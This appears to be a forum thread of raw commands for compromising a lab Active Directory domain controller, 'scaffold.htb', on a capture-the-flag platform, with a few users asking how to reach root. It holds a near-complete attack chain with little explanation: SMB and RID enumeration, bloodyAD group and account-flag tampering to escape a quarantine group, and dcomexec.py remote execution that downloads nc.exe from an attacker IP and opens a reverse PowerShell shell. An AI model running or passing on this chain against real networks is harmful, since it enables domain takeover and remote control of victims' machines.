[adolfo]

*
nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach'


nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach' --rid-brute > userx.txt

grep SidTypeUser userx.txt |tr '\\' ' ' |awk '{print $7}' |tail -n 6 > users.txt


*
nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach' --shares             
SMB        10.129.1.18    445    DC             
[*]Windows Server 2022 Build 20348 x64 (nameC) (domaincaffold.htb) (signing:True) (SMBv1:None) (Null Auth:True)                                                                                                                                                                     
SMB        10.129.1.18    445    DC              [+] scaffold.htb\j.harris:Harr1sHelpdesk2026!Breach
SMB        10.129.1.18    445    DC             
[*]Enumerated shares
SMB        10.129.1.18    445    DC              Share          Permissions    Remark
SMB        10.129.1.18    445    DC              -----          -----------    ------
SMB        10.129.1.18    445    DC              ADMIN$                          Remote Admin
SMB        10.129.1.18    445    DC              C$                              Default share
SMB        10.129.1.18    445    DC              DeploymentShare$                MDT Deployment Share
SMB        10.129.1.18    445    DC              IPC$            READ            Remote IPC
SMB        10.129.1.18    445    DC              NETLOGON        READ            Logon server share
SMB        10.129.1.18    445    DC              REMINST        READ            Windows Deployment Services Share
SMB        10.129.1.18    445    DC              SYSVOL          READ            Logon server share
SMB        10.129.1.18    445    DC              Y$                              Default share

[adolfo]

bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u r.wilson -p 'Depl0yPipe2026$Secure' \
    add groupMember 'Helpdesk operator' r.wilson
[+] r.wilson added to Helpdesk operator

-

bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u r.wilson -p 'Depl0yPipe2026$Secure' \
    set object m.carter userAccountControl -v 66048
[+] m.carter's userAccountControl has been updated

-

nxc smb scaffold.htb -u m.carter -p 'BlueSkyTempReset2026!'
SMB        10.129.125.213  445    DC             
[*]Windows Server 2022 Build 20348 x64 (nameC) (domaincaffold.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB        10.129.125.213  445    DC              [-] scaffold.htb\m.carter:BlueSkyTempReset2026! STATUS_LOGON_TYPE_NOT_GRANTED

[*]-

[*]ldapsearch -LLL -x \
    -H ldap://scaffold.htb \
    -D 'r.wilson@scaffold.htb' \
    -w 'Depl0yPipe2026$Secure' \
    -b 'DC=scaffold,DC=htb' \
    '(&(objectClass=user)(sAMAccountName=m.carter))' \
    distinguishedName memberOf
[*]
dn: CN=m.carter,OU=Users,OU=Scaffold,DC=scaffold,DC=htb
distinguishedName: CN=m.carter,OU=Users,OU=Scaffold,DC=scaffold,DC=htb
memberOf: CN=Quarantined_Accounts,OU=Scaffold,DC=scaffold,DC=htb
memberOf: CN=IT,OU=IT,OU=Scaffold,DC=scaffold,DC=htb

[*]-

[*]LDAPTLS_REQCERT=never ldapsearch -LLL -x \
    -H ldaps://scaffold.htb \
    -D 'svc_deploy@scaffold.htb' \
    -w 'Depl0yPipe2026$Secure' \
    -b 'CN=svc_deploy,OU=Users,OU=Scaffold,DC=scaffold,DC=htb' \
    -s base '(objectClass=*)' memberOf
[*]
dn: CN=svc_deploy,OU=Users,OU=Scaffold,DC=scaffold,DC=htb
memberOf: CN=Identity_Operations,OU=Scaffold,DC=scaffold,DC=htb
memberOf: CN=Deploy_Operators,OU=Deploy_Operator,OU=Scaffold,DC=scaffold,DC=htb

[*]-

[*]bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u svc_deploy -p 'Depl0yPipe2026$Secure' \
    get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scaffold,DC=htb
permission: WRITE

distinguishedName: CN=IT,OU=IT,OU=Scaffold,DC=scaffold,DC=htb
permission: WRITE

distinguishedName: CN=svc_deploy,OU=Users,OU=Scaffold,DC=scaffold,DC=htb
permission: WRITE

distinguishedName: CN=Quarantined_Accounts,OU=Scaffold,DC=scaffold,DC=htb
permission: WRITE

distinguishedName: DC=_msdcs.scaffold.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=scaffold,DC=htb
permission: CREATE_CHILD

[*]-

[*]bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u svc_deploy -p 'Depl0yPipe2026$Secure' \
    remove groupMember 'Quarantined_Accounts' m.carter

[*]badldap.commons.exceptions.LDAPModifyException: insufficientAccessRights for CN=Quarantined_Accounts,OU=Scaffold,DC=scaffold,DC=htb (Attr) — ReasonERROR_DS_INSUFF_ACCESS_RIGHTS) Insufficient access rights to perform the operation.

---

It won't let me remove m.carter from the Quarantined_Accounts group 

[adolfo]

* Con bloodyAD cambiar groupType:

bloodyAD \
    -d scaffold.htb \
    -u m.carter \
    -p 'BlueSkyTempReset2026!' \
    --host scaffold.htb \
    get object 'CN=Quarantined_Accounts,OU=Scaffold,DC=scaffold,DC=htb' \
    --attr groupType


bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u svc_deploy -p 'Depl0yPipe2026$Secure' \
    set object 'Quarantined_Accounts' groupType -v 8

---

bloodyAD \
    -d scaffold.htb \
    -u m.carter \
    -p 'BlueSkyTempReset2026!' \
    --host scaffold.htb \
    get object 'CN=IT,OU=IT,OU=Scaffold,DC=scaffold,DC=htb' \
    --attr groupType

-

bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u svc_deploy -p 'Depl0yPipe2026$Secure' \
    set object 'IT' groupType -v -2147483646

-

bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u m.carter -p 'BlueSkyTempReset2026!' \
    add groupMember 'Endpoint Remote Management' m.carter

-

bloodyAD --host dc.scaffold.htb -d scaffold.htb \
    -u m.carter -p 'BlueSkyTempReset2026!' \
    get membership m.carter

distinguishedName: CN=Users,CN=Builtin,DC=scaffold,DC=htb
objectSid: S-1-5-32-545
sAMAccountName: Users

distinguishedName: CN=Domain Users,CN=Users,DC=scaffold,DC=htb
objectSid: S-1-5-21-365932789-2848835602-3476675013-513
sAMAccountName: Domain Users

distinguishedName: CN=IT,OU=IT,OU=Scaffold,DC=scaffold,DC=htb
objectSid: S-1-5-21-365932789-2848835602-3476675013-1103
sAMAccountName: IT

distinguishedName: CN=Endpoint Remote Management,OU=ManagedObjects,OU=Scaffold,DC=scaffold,DC=htb
objectSid: S-1-5-21-365932789-2848835602-3476675013-1106
sAMAccountName: Endpoint Remote Management

---

dcomexec.py -object MMC20 -nooutput \
    'scaffold.htb/m.carter:BlueSkyTempReset2026!@dc.scaffold.htb' \
    "powershell.exe -NoProfile -Command" \
    "wget -UseBasicParsing http://10.10.17.666/nc.exe -OutFile C:\Users\m.carter\Documents\nc.exe"


python3 -m http.server 80

-

dcomexec.py -object MMC20 -nooutput \
    'scaffold.htb/m.carter:BlueSkyTempReset2026!@dc.scaffold.htb' \
    "powershell.exe -NoProfile -Command" \
    "C:\Users\m.carter\Documents\nc.exe 10.10.17.666 7666 -e powershell.exe"



rlwrap nc -lnvp 7666

[tez123]

how to get root?

how to get root?

[bum209]

how to get root?

how to get root?

ROOT — Certighost (CVE-2026-54121): DC$ impersonation → DCSync